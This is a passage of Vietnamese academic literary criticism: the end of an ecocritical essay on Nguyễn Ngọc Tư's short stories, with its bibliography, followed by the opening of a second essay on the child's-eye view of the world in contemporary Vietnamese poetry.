kỉ, thù hằn, giả dối – đều tuyệt nhiên
không có ở loài vật. Đối sánh ấy
khiến chúng ta giật mình nhận ra,
tình dục của con người không còn
mang vẻ đẹp của bản chất tự nhiên
nữa mà bị khúc xạ qua thói vị kỉ, xấu
xa của con người. Điền đã từ chối sự
lớn lên bằng cách tự kìm hãm bản
thân vì nghĩ là tình dục là xấu nhưng
những chú vịt đã dạy cho Điền biết
về vẻ đẹp đích thực. Đó không phải
là những gì Điền chứng kến ở con
người (hành động nông nổi của má,
rắp tâm trả thù của ba, sự nhẹ dạ
của những người phụ nữ bị lừa
dối…) mà thực sự nên thơ, êm đềm;
là hành động chia sẻ tình yêu
thương. Loài vật đã dạy cho Điền bài
học sơ giản về sự hài hòa của tình
dục và tình yêu.
51
Nguyễn Ngọc Tư đã nhiều lần nhắc
chúng ta rằng gắn bó với muông
thú, cây lá con người ta sẽ thấy bình
tâm, tĩnh lặng bởi bản năng của
muông thú là yêu thương. Đó là lí do
vì sao các nhân vật khi chán chường,
cô đơn, mất niềm tin vào thế giới
người đều tìm đến tự nhiên thanh
sạch, an lành, bao dung. Chính “cái
bản năng chân thật hồn nhiên của
muông thú” (Kiệt Tuấn) khiến những
nhân vật cô đơn, bầm dập, đau khổ
cảm thấy được yêu thương san sẻ
“Chị em tôi học cách yêu thương
đàn vịt (hi vọng là sẽ không bị đau
như yêu thương một con người nào
đó)… chơi với người thấy buồn nên
chuyển qua chơi cùng vịt” *5, 195+.
Đặt con người trong thế đối lập với
loài vật khiến cho tác phẩm Nguyễn
Ngọc Tư chạm vào nỗi đau sâu thẳm
của nhân loại thời hiện đại, khi con
người rời bỏ tự nhiên nghĩa là con
người đã rời bỏ bản tính thiên
nguyên tốt đẹp của mình.
Trong truyện ngắn Nguyễn Ngọc
Tư, chúng ta bắt gặp kiểu nhân vật
lạc loài, vì những nỗi đau riêng chôn
chặt trong lòng không thể chia sẻ.
Nỗi đau riêng ấy đánh bật nhân vật
ra khỏi đồng loại. Những nhân vật
này thường chọn cách giao tiếp với
loài vật để vơi bớt đớn đau bởi thế
giới muông thú bao dung, không thù
hận, ích kỉ và giả dối như thế giới
loài người. Nương, Điền (Cánh đồng
bất tận), cậu bé (Núi lở) và “Em”
(Gió lẻ) tuy có khác nhau ở hoàn
cảnh cụ thể nhưng đều giống nhau
ở điểm là cảm thấy kinh sợ con
người vì sớm chứng kiến sự dối trá
trắng trợn của đấng sinh thành.
“Em” (Gió lẻ) từ chối tiếng nói con
người vì đó là tiếng nói của sự giả
dối làm đau nhau: lời của cha gây cái
chết kinh hoàng của mẹ, rồi thản
nhiên dựng lên một cái chết sai sự
thật về mẹ, ông Tám Nhơn Đạo nói
dối, chị Băng nói dối và rất nhiều
người nữa. Từ chối con người, Em
chọn cách làm bạn với loài vật vì
“việc nói chuyện với con này con kia
làm giấc ngủ trở nên hấp dẫn và dễ
chịu” *6, 150+, thậm chí, sự giao tiếp
với con Cò (tên con chó) còn làm em
có cảm giác “ran khắp người” *6,
151+ nhưng cảm xúc ấy chết “từ khi
nghe lại tiếng người, mùi người” [6,
151] nên lúc bị ông Tám Nhơn Đạo
hãm hiếp, em chỉ thấy một nỗi trống
rỗng khủng khiếp. Sau này rong ruổi
52
trên chiếc xe tải Landu với Dự và
“Gã”, em từ chối tiếng nói của con
người “vĩnh viễn nói kiểu của chim”
*6, 147+, vì “Tiếng nói của con vật
không dùng để làm tổn thương
nhau” *6, 147+. Bản chất của loài vật
là vô tư, hồn nhiên như trẻ nhỏ vì
vậy tìm đến loài vật là tìm về với
phần bản tính tự nhiên tốt đẹp của
con người mà khi lớn lên chúng ta
bỏ quên mất: “Khi người ta còn bé,
người ta rất hiểu tiếng nói của loài
vật: chúng nói cũng rành rọt như
cha mẹ nói với ta. Nhưng một khi ta
lớn lên thì tính năng đó mất đi” (Nữ
thần băng giá – Andersen). Bởi vậy,
nói theo tiếng nói của loài vật là
cách con người trở về với bản tính
thiện của mình, bằng cách đó, thể
hiện một thái độ chối từ dứt khoát
với sự xảo trá, lọc lừa của thế giới
con người. Từ chối nói tiếng người –
đó cũng là cách của Nương và Điền:
Thằng Điền cười, “ủa, tụi mình hỏng
nói tiếng – người” *5, 192+. Thậm chí,
đó là kiểu tự vệ của hai đứa trẻ cô
độc thiếu tình yêu thương “Đắm
đuối với loại ngôn ngữ mới, chúng
tôi chấp nhận để cho người ta nhìn
mình như kẻ điên (miễn là tạm quên
nỗi buồn của cõi – người)” *5, 195+ –
nỗi buồn của những ước mong rất
đỗi giản đơn của một người bình
thường – thèm muốn có một ông nội
để thương, không dám gắn kết dù
với chỉ một cái cây vì dời đi lại thấy
lòng đau vì lỡ gắn bó. Ở đây chúng
ta bắt gặp triết lí sinh thái trong
cách đề xuất của tác giả, không dành
cho con người thế ưu trội, Nguyễn
Ngọc Tư đã đưa ra một cái nhìn bình
đẳng với tự nhiên, chỉ ra cho chúng
ta thấy, rằng chúng ta không công
bằng với tạo vật. Trong tự nhiên
không có gì là xấu, đẹp xấu là do con
người áp đặt. Vậy nên phát hiện của
các nhân vật thật giản dị, hiển nhiên
mà đau đớn vô cùng bởi vì phải từ
bỏ thế gới của mình, từ bỏ ngôn ngữ
của của đồng loại để đi tìm ngôn
ngữ của loài khác thì cô đơn khủng
khiếp. Con người trong truyện ngắn
Nguyễn Ngọc Tư đã từ bỏ tư thế
kiêu hãnh “kiểu mẫu của muôn loài”
để nhận ra sự bất toàn của mình.
Tạo hóa sinh ra con người và muôn
loài là tốt đẹp và hoàn hảo, chỉ vì
con người với những lí trí, dục vọng,
ích kỉ… đã làm khuất lấp đi vẻ đẹp
tự nhiên ấy. Vì đánh mất bản tính tự
nhiên tốt đẹp, con người trở nên
khiếm khuyết.
53
Nếu nhìn bề ngoài có lẽ cách viết
của Nguyễn Ngọc Tư không mới,
làm bạn với loài vật, lắng nghe tiếng
nói từ tự nhiên, nói chuyện với
muông thú… là cảm quan từ xưa của
người phương Đông, chúng ta cũng
gặp các phương thức kể chuyện này
đầy rẫy trong truyện cổ dân gian,
truyện truyền kì…, xa hơn chính là
tư tưởng vạn vật hữu linh nguyên
thủy nhưng điểm mới của Nguyễn
Ngọc Tư chính là đề xuất ra một
cách nhìn. Phê bình sinh thái chỉ ra
chính tư tưởng sùng thượng con
người một cách thâm căn cố đế
trong tư tưởng nhân loại dẫn đến sự
khủng hoảng của con người thời
hiện đại. Con người phải từ bỏ cái
trung tâm luận là chính mình để soi
vào vạn vật và nhận ra vẻ đẹp vô tư,
không vụ lợi của tự nhiên. Nhận ra
bằng con mắt bình đẳng với tạo vật
mà bấy lâu nay vì thói tự phụ, con
người quên mất: tự nhiên có trước
và là chuẩn mực cho vẻ đẹp của con
người.
4. Thiên nhiên cứu rỗi tâm hồn
con người
Nhiều truyện ngắn Nguyễn Ngọc
Tư xuất hiện kiểu nhân vật mê đắm
tự nhiên. Khi lặng ngắm tự nhiên,
giao hoà cùng thiên nhiên, con
người trở nên thanh thản, bay bổng
cùng vẻ đẹp của tạo hóa bởi thiên
nhiên đã nuôi dưỡng, gìn giữ phần
nhân tính tốt đẹp của con người.
Vĩnh (Sầu trên đỉnh PuVan) một
mình ngược núi ngắm cánh sầu
đông nở hoa bằng một thái độ
chiêm bái trước tự nhiên huyền bí.
Từ chối trở về cuộc sống hàng ngày
dưới kia đầy đau đớn, mệt nhọc,
chán chường, lựa chọn cái chết
thanh thản giữa tự nhiên. Những
cách hoa vô tư, dịu hiền, nhân từ,
độ lượng, sáng trong đã cứu rỗi tâm
hồn mệt mỏi của chàng trai thành
phố với trái tim u sầu. Ở đó, Vĩnh
trút bỏ được nỗi ưu phiền, nặng nợ
trần gian. Bằng (Thềm nắng sau
lưng) khao khát được thả mình giao
hòa với thiên nhiên, nghe “bìm bịp
kêu thâm u trong bờ dừa nước” *7,
94] quên mất lời hứa với má, “thả
xuồng trôi dập dềnh trên chùm
gọng, đang nói tiếng chim giữa chơi
vơi nước lớn” *7, 95+. Phiên (Khói
trời lộng lẫy), cậu bé sáu tuổi,
“không nhổ cải bán vì tội nghiệp và
54
kết quả là tôi có một giồng bông cải
thắp nắng lộng lẫy giữa mùa mưa
(…) những con cá mang bụng no
tròn sẽ được chúng tôi trả lại cho
sông” *7, 158+. Tư tưởng cơ bản của
phê bình sinh thái là coi thiên nhiên
như một chỉnh thể thống nhất hữu
cơ. Con người là một động vật tồn
tại và nâng cao trên cơ sở của tự
nhiên đó. Con người cần bảo vệ tự
nhiên, phá hoại tự nhiên là phá hoại
chính mình. Vậy nên tất cả những
người làm việc ở Viện Di sản thiên
nhiên và con người là những kẻ mê
mải với tự nhiên, những nhân vật
dấn thân để gìn giữ vẻ đẹp của tạo
hóa. Em – Di lúc nào cũng “ăn gấp,
thở gấp, ngủ gấp” *7, 135+ vì “đi níu
kéo những mong manh” *7, 143+,
Anh – một “kẻ nghiện rừng” *7,
145], Nhứt – “mê đắm những những
xóm làng miên man bên bờ sông
Ngó Ý” *7, 136+, Trúc – “gắn bó duy
nhất với vùng đất Thổ Sầu” *7,
154]… Tất cả đều “lắng nghe thiên
nhiên nói” để “cất giữ những hoa
lau óng chuốt dưới nắng, có đàn cò
trắng bay qua trăng chiều, mớ lục
bình rách nát trôi ra trước cửa biển
(…) dấu mưa xoi khuyết những viên
gạch trần, hoa bìm bìm lợp tím rịm
cả một chòm cây, vạt rừng bướm
bay như trấu vãi…” *7, 129-133].
Thế giới thiên nhiên là nơi phản
chiếu tâm hồn, kẻ biết yêu thương
cỏ cây muông thú “che chở cho một
sinh linh nhỏ bé, yếu ớt” *5, 187+
không bao giờ là người tàn nhẫn, do
vậy nhân vật của Nguyễn Ngọc Tư
thường rất tình nghĩa dù cho vẻ
ngoài có thể ngạo ngược. “Anh”
phải chịu sự ràng buộc của các mối
quan hệ xã hội, chịu sức ép về tinh
thần, hiện lên trước mắt Di trơ khấc,
lạnh lùng, kiêu bạc của nhiều mặt nạ
– vai Viện phó Viện Di sản thiên
nhiên và con người, vai người chồng
người cha cả người tình hoàn hảo
thì vẫn có lúc mềm lòng rũ bỏ cái áo
khoác ngoài lạnh lẽo đó khi khóc
cho những cách rừng bị tàn phá
“Anh mướn vai tôi để vùi yếu mềm
vào đó, cũng có cánh rừng qua đời”
*7, 148+. Trước thiên nhiên, con
người đã bộc lộ phần nhân tính tốt
đẹp, sáng trong không chút vẩn mà
đôi khi bị những hệ lụy của đời phủ
kín.
Phê bình sinh thái yêu cầu nghệ
thuật không được xa rời cội nguồn
tự nhiên. Văn học nghệ thuật phải
55
xây dựng lại mối quan hệ hài hòa
giữa con người và tự nhiên thì mới
có cái đẹp. Từ góc nhìn này soi rọi
vào tác phẩm Nguyễn Ngọc Tư để
đánh giá sự thành công của tác giả
chúng ta thấy quả là những trang
viết của Nguyễn Ngọc Tư ám ảnh
độc giả phần nhiều có lẽ bởi một
không gian lồng lộng gió, mênh
mang sông, miên man nắng. Nhân
vật của Nguyễn Ngọc Tư thường gắn
với cây cỏ sông nước hồn nhiên. Nỗi
nhớ quê hương nguồn cội, nỗi nhớ
về những người thân yêu bao giờ
cũng được bao bọc bởi thiên nhiên.
Thiên nhiên gợi nhắc đến cội nguồn,
gốc rễ mà mỗi lần nỗi nhớ trồi lên
chỉ có nó mới đem lại nguồn an ủi:
“lắng nghe tiếng bịp bịp buồn buồn
xa vời vợi trong ánh nắng chiều, Phi
nhớ triền dừa nước xanh miết ở
trước nhà ngoại mình, nhớ đứt
ruột” *5, 105+. Đối với chị em Nương
Điền, những cánh đồng đã qua chưa
bao giờ là vô danh “Chúng tôi gọi
tên bằng những kỉ niệm mà chúng
tôi có trên những cánh đồng” *5,
195], cả nỗi nhớ xa xôi về mẹ, về
mái nhà êm ấm trước kia cũng mang
cảm giác của thiên nhiên “Sao gió ở
đây giống hệt gió nhà mình” *5,
178], cả mơ ước nhỏ nhoi, mong
manh cũng gắn kết với đất đai, cây
trái “Nỗi nhớ bao gồm được chạy
chơi trên cái vuông sân mọc đầy vú
sữa đất, được tự mình trồng cây gì
đó, có trái, và trái ăn được, ăn rất
ngon” *5, 187+. Cũng vậy, dòng sông
gắn với hình ảnh bất hạnh của
những người thân yêu nên dù nghèo
khổ, vất vả, lênh đênh, các nhân vật
không nỡ rời bỏ. Giang (Nhớ sông)
mãi mãi không thể quên được khúc
sông nơi người mẹ chết đuối. Cho
dù đã lên bờ cô vẫn không nguôi
ngoai được sợi dây đã gắn kết sông
nước bất diệt với ba cha con, với
người sống và người chết: “Sau nầy,
khi vợ chết, không hoàn toàn vì
miếng ăn mà cả nhà ông Chín trôi
dạt hết dòng sông này đến con kinh
kia. Ở đáy con sông nào đó, còn là
nơi gởi gắm xương thịt của người
đàn bà xấu số – má Giang” [5, 115].
Người vợ trước của ba (Dòng nhớ)
nguyện chọn kiếp sống lênh đênh
trên sông vì đứa con vừa biết bò rơi
xuống đó “vía tôi trả lời, mẹ sẽ sống
trên sông hoài, hoài hoài với con” *5,
130]. Có lẽ khi trôi theo dòng, chỉ
sông nước mênh mang là cứu rỗi
được nỗi đau của người mẹ mất
56
con. Ngay cả ba, phũ phàng bỏ lại vợ
cùng nỗi mất mát khủng khiếp cũng
chưa một phút thôi nhớ cái khúc
sông đau đớn của cuộc đời mình
“Tựa như ông đang ở đây nhưng
tâm hồn ông, trái tim ông, tấm lòng
ông chảy tan vào dòng nước tự lâu
rồi” *5, 124+. Có những nỗi đau
không cất được thành lời mà chỉ có
thiên nhiên câm lặng đã chứng kiến
mới có thể thấu biết được. Xuyến
(Duyên phận so le) từ chối tình cảm
của các chàng trai đến với cô,
nguyện ở mãi mũi So Le vì tình yêu
duy nhất cô đã dành cho bé Bi, đứa
con cô lén để ở gốc cây điệp nhà vợ
chồng ông giám đốc hiếm muộn. Lúc
đau khổ quá “Những khuya, ngủ
không được, Xuyến lọ mọ lại khoảng
sân đầy lá trước nhà Bi, rờ rẫm chỗ
đất cạnh gốc điệp già” [5, 143], cái
cây duy nhất chứng kiến đứa con cô
đã bỏ lại vì nghèo khó, đơn độc, bị
phụ tình không thể nuôi lớn đủ đầy.
Những ngổn ngang, rối bời, đứt ruột
của người mẹ chỉ cây điệp già thấu
biết. Thiên nhiên đã lưu giữ trong
nó những kí ức thân thiết của những
người thương yêu. Thiên nhiên làm
sống dậy kí ức về người thân, làm
dịu đi, giúp nguôi quên về những nỗi
đau mà vết thương cứ ngoáy mãi.
Thiên nhiên vừa là không gian sống
vừa là kỉ niệm, là tâm hồn của mỗi
nhân vật mà nếu tách họ ra khỏi ðó,
con ngýời không còn được là mình
nữa.
Thiên nhiên cũng làm thanh lọc
tâm hồn con người. Khi soi vào thiên
nhiên, con người nhìn nhận lại, tự
vấn lại mình. Vậy nên người cha khi
không thể giúp con gái câu trả lời:
“chuồn chuồn đạp nước là gì?”
trong một chương trình trò chơi
trên truyền hình, ông đã rất boăn
khoăn. Tự nhiên trong dòng đời đua
chen vội vã, ganh ghét tị hiềm ông
dừng lại suy tư “cha chạy xe về quê.
Cha ngồi trong khoảng vườn đượm
nắng chiều, nơi cha vẫn thường về
khi mệt mỏi hay căng thẳng, tuyệt
vọng, nhìn chuồn chuồn đậu trên
đám chà trong ao, cào cào búng
trên những bụi cỏ ống, mấy con ong
ve vãn bông đậu bắp” *6, 25+ và nhà
văn nhận ra mình đã quên đi gốc
gác, quên đi tuổi thơ mê mải cùng
thiên nhiên “tụi chuồn chuồn đã
chơi với mình suốt một tuổi thơ sao
không đẻ cho mình thấy, hay mình
từng thấy nhưng cuộc sống thành
57
thị khiến mình quên đi (…) có quá
nhiều chuyện nhân tình thế thái mà
cha không quên, có nhiều thằng cha
xỏ lá cà khịa đâm sau lưng cha,
đáng lẽ nên quên… để đời nhẹ
nhõm” *6, 25+. Thiên nhiên khiến
ông trở nên boăn khoăn, ray rứt về
tâm hồn trong trẻo ấu thơ đã mất
mát với thị thành, với nhân thế.
Thiên nhiên giúp con người nhìn lại
mình, dừng lại lắng nghe tiếng nói
từ tự nhiên để hiểu chính mình, tự
suy xét để sống thanh thản nếu
không sẽ đánh mất bản thân trong
những đua chen vội vã của cõi
người.
Tự muôn đời, thiên nhiên luôn là
nguồn an ủi. Mỗi khi thấy lòng đau,
lại tìm về tự nhiên như một bến bờ
tĩnh lặng để nguôi quên. Thiên nhiên
là người bạn lớn vĩnh hằng của con
người mà ở đó, những muộn phiền,
day dứt, đau đớn của con người vợi
bớt. Thấu biết được nỗi chán
chường cuộc sống ồn ào quanh
mình, chỉ có tự nhiên vĩnh cửu
không lời là vĩnh viễn. Ngày nay, chủ
nghĩa nhân văn mới do phê bình
sinh thái đề xuất không tách rời
thiên nhiên và văn hóa mà nối lại
mạch sống ngàn đời của con người
với tự nhiên, coi con người là một
phần cộng sinh của tạo hóa.
Văn học Việt Nam sau năm 1975
mải mê với hiện thực cõi nhân sinh
với những đề tài thời sự: phơi bày
những mặt trái của hiện thực, phê
phán xã hội, tính dục… khiến cho
tinh thần sinh thái văn học có nguy
cơ xuống dốc. Dường như “ít có
bóng cây cỏ trên đường đi của lũ
nhân vật” (Cây Hà Nội – Nguyễn
Tuân). Con người đã bỏ rơi thiên
nhiên. Sự thiếu vắng tự nhiên khiến
cho môi trường văn học trở nên khô
khan, ngột ngạt bởi những toan
tính, lọc lừa, xảo trá của đời sống
cuống quýt, vội vã. Nghệ thuật phải
thông qua miêu tả mối quan hệ giữa
con người và tự nhiên để tạo nên
sức hút, sức sống. Vậy nên, những
truyện ngắn của Nguyễn Ngọc Tư đã
làm “xanh” một khoảng không gian
văn học, từ đó đề xuất cho chúng ta
nhiều vấn đề trước Mẹ Trái Đất và
giúp chúng ta nhận ra khi loài người
càng trưởng thành càng phải nhận
ra mình đã phụ phàng với nơi mà
con người lớn lên, gắn bó và đặt hi
vọng ở đó.
5
.
6
TÀI LIỆU THAM KHẢO
[1]. Lê Nguyên Cẩn, “Cách nhìn nhận thế giới tự nhiên của Lão Tử và J.J.
Rousseu”, Đạo gia và văn hóa, NXB Văn hóa Thông tin, Hà Nội (2000).
[2]. Phương Lựu, “Tản mạn về văn nghệ với tính dục”, tạp chí Văn học, số 3 [10-
17] (1996).
[3]. “Văn học phải làm cho con người tin nhau hơn” (Đối thoại đầu năm giữa
Oe Kenzaburo với Mạc Ngôn), Báo Văn nghệ, Số 12 (23/03/2002).
[4]. Jacques Vernier (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo
dịch, Nxb Thế giới, Hà Nội.
[5]. Nguyễn Ngọc Tư, Cánh đồng bất tận, Nxb Trẻ, TP. Hồ Chí Minh (2010).
[6]. Nguyễn Ngọc Tư, Gió lẻ và 9 câu chuyện khác, Nxb Trẻ, TP. Hồ Chí Minh
(2009).
[7]. Nguyễn Ngọc Tư, Khói trời lộng lẫy, Nxb Thời đại, TP. Hồ Chí Minh (2010).
[8]. Cheryll Glotfelty, “Introduction: Literary Studies in an Age of Enviromental
Crisis”, The Ecocriticism Reader: Landmarks in Literary Ecology, University of
Georgia Press (1996). Nguyên văn định nghĩa là “Simply put, ecocritisim is the
study of the relationship between literature and the physical environment”.
( Bài đã đăng trong Tạp chí Phát triển KH&CN, tập 17, số 3-2014)
7
Tư duy đồng thoại trong thơ hiện nay
Lê Lưu Oanh – Đinh Thị Doanh
Đời sống xã hội càng văn minh bao nhiêu, nỗi bất an của cuộc mưu sinh
nặng nhọc ngày càng tăng, đời sống tâm hồn càng công thức, xơ cứng bao nhiêu,
thì một trong những khao khát thẳm sâu của con ngời là tìm tới một nơi chốn trở
về, mong tìm đến sự cân bằng, bình an, như một sự giải thoát trong tâm hồn. Vì
vậy, trở về với cái tự nhiên của con người, và thể hiện những khát vọng ấy qua
một điểm nhìn đặc biệt: cái nhìn đồng thoại về thế giới, là một trong những nội
dung của thơ ca hiện nay.
Cái nhìn đồng thoại là cách nhìn thế giới bằng con mắt trẻ thơ để trình bày
một quan niệm độc đáo về thế giới và con người với một tấm lòng thành thực
nhất. Có thể coi đây như là một kiểu tư duy thơ hiện đại: dùng cái khởi nguyên
để làm thước đo vạn vật.
Đó là cái nhìn thế giới một cách tự nhiên, tươi tắn, ngỡ ngàng, nồng nhiệt
như cái nhìn trẻ thơ với thiên hướng tìm về một thiên đường đã mất nhưng vẫn
sống mãi trong tiềm thức tuổi thơ, một tuổi thơ của tất cả mọi người. Người ta
vẫn nói: Thi ca là giấc mơ về tuổi thơ của nhân loại, có lẽ một phần vì lí do đó.
Hiện tượng này không hiếm trong nghệ thuật thế giới: tranh của M. Chagall,
tranh H. Rousseau, thơ Êxênhin, thơ Cố Thành, văn xuôi của J. R. Jimenez. Người
ta nhận xét về tranh của M. Chagall (họa sĩ Nga): “Nhờ cái nhìn đặc biệt về cuộc
sống, tình cảm chân thành sâu sắc, với những cảm xúc tinh khiết và huyền ảo
mang đầy phong vị cổ tích, nghệ thuật của Chagall mãi mãi thuộc về nhân loại”
(1). Picasso cũng nói về Chagall: “Hẳn là có những thiên thần trong đầu họa sĩ
Chagall” (2). Đó là những bức tranh vẽ ông già đang khăn gói đi trên nền trời, đôi
vợ chồng hạnh phúc bay lơ lửng giữa không trung, những bông hoa trong vườn to
tướng và đỏ rực… Bên cạnh đó là tranh của H. Rousseau (họa sĩ Pháp), người đã
8
tạo nên trường phái hội họa Ngây thơ (Naif) ở Pháp. Trong tranh của H. Rousseau,
toàn bộ thế giới không được vẽ theo nguyên tắc tả thực mà theo nguyên tắc ngây
thơ hóa. Tranh vẽ thành phố thì “con tàu như gấp bằng giấy, những ngôi nhà mái
đỏ nhấp nhô, mùa thu vàng đẹp đến nao lòng” (3). Vẽ rừng thì “cảnh tượng huyền
bí mênh mông, một chất thơ bí ẩn, cái đẹp hoang sơ mộng mị” (4). Đặc biệt, trong
tranh của cả Sagall và Rousseau, những ước mơ bình dị của con người hiện lên
vừa trần tục vừa thuần khiết như trong cõi thần tiên, truyện cổ tích vậy.
Còn ở Trung Quốc, “Cố Thành nổi tiếng là nhà thơ mông lung, thơ anh là một thế
giới đồng thoại, thế giới đồng thoại trong thơ anh được xây đắp bởi những giấc
mộng, ánh mắt trẻ thơ, thiên nhiên thuần khiết, thanh âm tơi non và màu sắc
sáng chói. Anh xem đấy là nơi ngụ cư của cái đẹp. Thơ anh thức tỉnh hồi ức và
tiềm thức tuổi thơ, một tuổi thơ không thuộc về cá nhân riêng lẻ nào mà thuộc về
nhân loại” (5). Anh nổi tiếng với những câu thơ như: Dịu dàng một trận gió, Trộm
mất mái chèo của ta, Nước hồ xanh thẳm, Lấp lánh cười đùa, Có lẽ trận mưa mùa
hạ, Làm hồ chứa nước mênh mang, Trên ngọn liễu thấp thoáng. Khuynh hướng
này là sự hoàn nguyên hoàn toàn và ẩn đằng sau nó một cái nhìn mang tính triết lí
và sự tồn tại của những chủ đề vĩnh cửu: con người tự nhiên.
***
1. Thế giới đồng thoại – thế giới đậm màu cổ tích
Trong thơ, đó là một thế giới trong trẻo, nguyên sơ, thanh khiết như thời
khởi nguyên của nó. Các tác giả đều viết về một làng quê riêng của mình, nhưng
không gian, thời gian của làng quê ấy đều đã được đẩy vào những chiều kích khác
thường của một thiên đường đã mất. Ở đó, con người hòa mình vào một thiên
nhiên tinh khiết, chưa có sự can thiệp của đời sống công nghiệp, chưa có sự hủy
diệt và tan rã. Tất cả còn nguyên vẹn, đơn sơ, lắng đọng kì lạ…Trăng, sao, cây, lá
đều thuần khiết, trong sáng, tự nhiên: mùa xuân chưa có mưa phùn, cánh hoa chưa biết sương và cành lá chưa biết mưa… (Nguyễn Quyến), ngày cha mở- lời cha
ngỏ -gió mây cha về quần tụ (Nguyễn Bình Phương). Các tính từ tuyệt đối được sử
dụng nhiều: hồ nước trong vắt, { nghĩ trong vắt, ánh sáng quá trong, lá mơn
9
mởn… Con ngời sống thân thiết êm đềm, hòa mình vào thiên nhiên, cảm nhận được sự trinh nguyên của thiên nhiên ngấm vào mình:
Những xôn xao lùa qua hơi ẩm
Vọng về từ cánh đồng rộng lớn mù sương
Tiếng bánh xe trâu lặng lẽ qua đêm
Chất đầy hương cỏ tươi lăn về nơi hừng sáng
ơi…ơi…ơi, những con đường thân thuộc
Như những ngón tay người yêu lùa mãi vào chân tóc
Ai gọi đấy, ai đang cười khúc khích
Tôi lách mình qua khe cửa, ơi …ơi (Ban mai- Nguyễn Quang Thiều)
Thiên nhiên ấy vừa yên ả, thanh bình, vừa xa xăm huyền hoặc. Không có những
biến cố lớn, chỉ có: chiều dịu dàng, những ngọn ban mai mơn mởn rớn mình
(Nguyễn Quyến). Có thể cảm nhận được mùi bùn ngai ngái, làn khói xanh âm ẩm
dịu dàng (Ngân Hoa), Trăng cào ổ lá, Vàng ổi đường thơm; Mùa núm áo đơm
bông, Con bướm vàng dạm ngõ; Hỏi thu qua bao cuống lá sen vàng, Lá sen
nghiêng như mặt người quay lại; Sông trời sao trắng hoa cau (Bằng Vũ). Thiên
nhiên ấy thật lộng lẫy, kì ảo, tươi thắm, đầy màu sắc và hương thơm với những
hình ảnh tơi non, rực rỡ, sống động. Mùi hương tràn ngập với hương hoa bưởi,
hoa táo, hoa thiên lí, hương cỏ… Màu sắc thiên về những màu tươi sáng, rực rỡ
của tuổi trẻ: rơm vàng, bông cải cúc vàng, tóc hoe vàng, bãi ngô xanh, quả đồi
xanh, tiếng chuông xanh, ngày xanh, cơm mưa buổi chiều vàng… Những tính từ
cảm giác xuất hiện dày đặc: tim tím, lăng lắc, ngai ngái, lấp lóa, âm âm, dìu dịu,
thiêm thiếp, heo heo xanh, mênh mang ánh sáng (Dương Kiều Minh), nhỏ nhoi,
chập chững, dịu dàng, đo đỏ, rôn rốt, chun chít, ngai ngái (Ngân Hoa). Hầu như
toàn tính từ giảm nhẹ, thế giới đợc miêu tả đầy chất biểu cảm, thân thiện và hiền
hòa.
10
Tất cả thế giới này đều là thế giới trong hoài niệm nên hết sức rực rỡ, đầy
ánh sáng. Ở đó có bức tường ánh sáng, có ánh sáng nồng nàn trong trẻo bao la
với trăng sao, chớp, đom đóm (Dương Kiều Minh). Thiên nhiên gần gũi nhưng vẫn
lung linh huyền ảo. Gần gũi bởi có những hình ảnh quen thuộc của làng quê gắn
với tuổi ấu thơ : đồng lúa, bụi hoa dại, vòm hoa, con đường hoa vối, giọt sương,
đôi bướm, ngồng cải, cỏ may, bãi ngô, cây rơm (Dương Kiều Minh), bẹ ngô trắng,
bãi cát, búp lá non, gốc rạ, đám rêu, sương đêm (Nguyễn Quang Thiều)… Nhưng
thế giới đó lại đậm màu cổ tích bởi sự diệu kì của nó với bông súng thần tiên, khu
vườn cổ tích, cánh bướm cổ tích (Nguyễn Quang Thiều), có vòm hoa rực rỡ, bức
rèm hoa lấp lánh mơ vàng, tiếng sáo phiêu bồng (Dương Kiều Minh). Thời gian
cũng bàng bạc diệu vợi, cỏ dịu dàng, trăng nhòa nhạt.
Thế giới ấy còn đậm vẻ thiêng liêng thành kính, cao khiết bởi có bóng đền
đài uy nghiêm, chùa chiền, chuông thánh đường, buổi cầu kinh… Một vùng quê cụ
thể đã được thăng hoa trong một cõi không gian khác, vừa tươi non đắm say, vừa
thâm trầm cổ kính, như từ chốn thanh hư hiện về: Làng tôi tháng ba, Tiếng
chuông ngân thành vệt sương mờ, Tháng ba, cánh đào rơi bậu cửa, Nghe tiếng
chuông ngân, Hóa vết son mờ (Bằng Vũ).
Vẽ nên thế giới thiên nhiên trong sáng và tinh khiết này, các tác giả như muốn nói
về chính bản chất của cuộc sống: cuộc sống là không điều kiện, là vĩnh cửu và
tuyệt đối, là yếu tố thần diệu có mặt khắp nơi. Cảnh vật tỏa ra sự tươi mát và sức
sống trường tồn.
2. Khát vọng hòa nhập vào thiên nhiên
Có hai con người trong thế giới đồng thoại. Tuổi ấu thơ là những cô bé cậu
bé có tâm hồn nhạy cảm ham khám phá, giàu mơ ước và có tuổi thơ trong lành.
Họ non tơ, trinh trắng như một thiên sứ, bằng đôi mắt hồn nhiên, mơ mộng, ngơ
ngác, bắt đầu cảm nhận, khám phá thế giới, cội nguồn cái đẹp. Cái gì cũng như
mới tinh, gặp gỡ lần đầu nên đều thanh sạch tinh khiết tuyệt đối. Sau này, dù đã
lớn và trải nghiệm nhiều đắng cay, mất mát, song chất nhạy cảm, mơ mộng trong
tâm hồn vẫn không mất đi, họ vẫn giữ đôi mắt hồn nhiên, thanh khiết khi nhìn về
11
một thế giới thiên nhiên hiền hòa, êm dịu, như nơi chốn trở về, như bến lặng của
tâm hồn, sau bao nhiêu chen chúc, bộn bề của đời thường.
Vì vậy, khát vọng trở lại cội nguồn, tìm về sự hồn nhiên trong trắng không
ràng buộc là một chủ đề lớn trong dòng thơ này.
Trở về với cội nguồn, với thiên nhiên là trở về với những giá trị vĩnh cửu để
xa rời cuộc sống ồn ào, vội vã của nền văn minh hiện đại, là sự kiếm tìm trạng thái
bình yên, đối lập trạng thái bất an, khiếp sợ trước cái hỗn loạn của xã hội công
nghiệp. Với tư cách là con người xã hội, con người phải tuân thủ theo những
nguyên tắc luật lệ xã hội, có khi công thức, xơ cứng. Xã hội càng phát triển, sống
giữa những tiện nghi vật chất, con người có lúc lại cảm thấy bất an, thì việc trở về
với cội nguồn như tìm về sự cân bằng tâm lí.
Thơ thể hiện con ngời tự nhiên như tư tưởng trở về với thiên nhiên của
Rousseau, Wordsworth, Nguyễn Trãi, Nguyễn Bỉnh Khiêm từ hàng trăm năm trước. Đây chính là một trạng thái hồi cố mang tính phổ quát.
Trở về cội nguồn là cuộc trở về vĩnh cửu. Ở đó, mơ và thực là một, hiện tại
và quá khứ đồng nhất, con người tồn tại một cách tiên thiên đâu đó, trong cõi
siêu nghiệm vĩnh cửu. Trước hết, đó là cuộc trở về với tuổi thơ của chính mình,
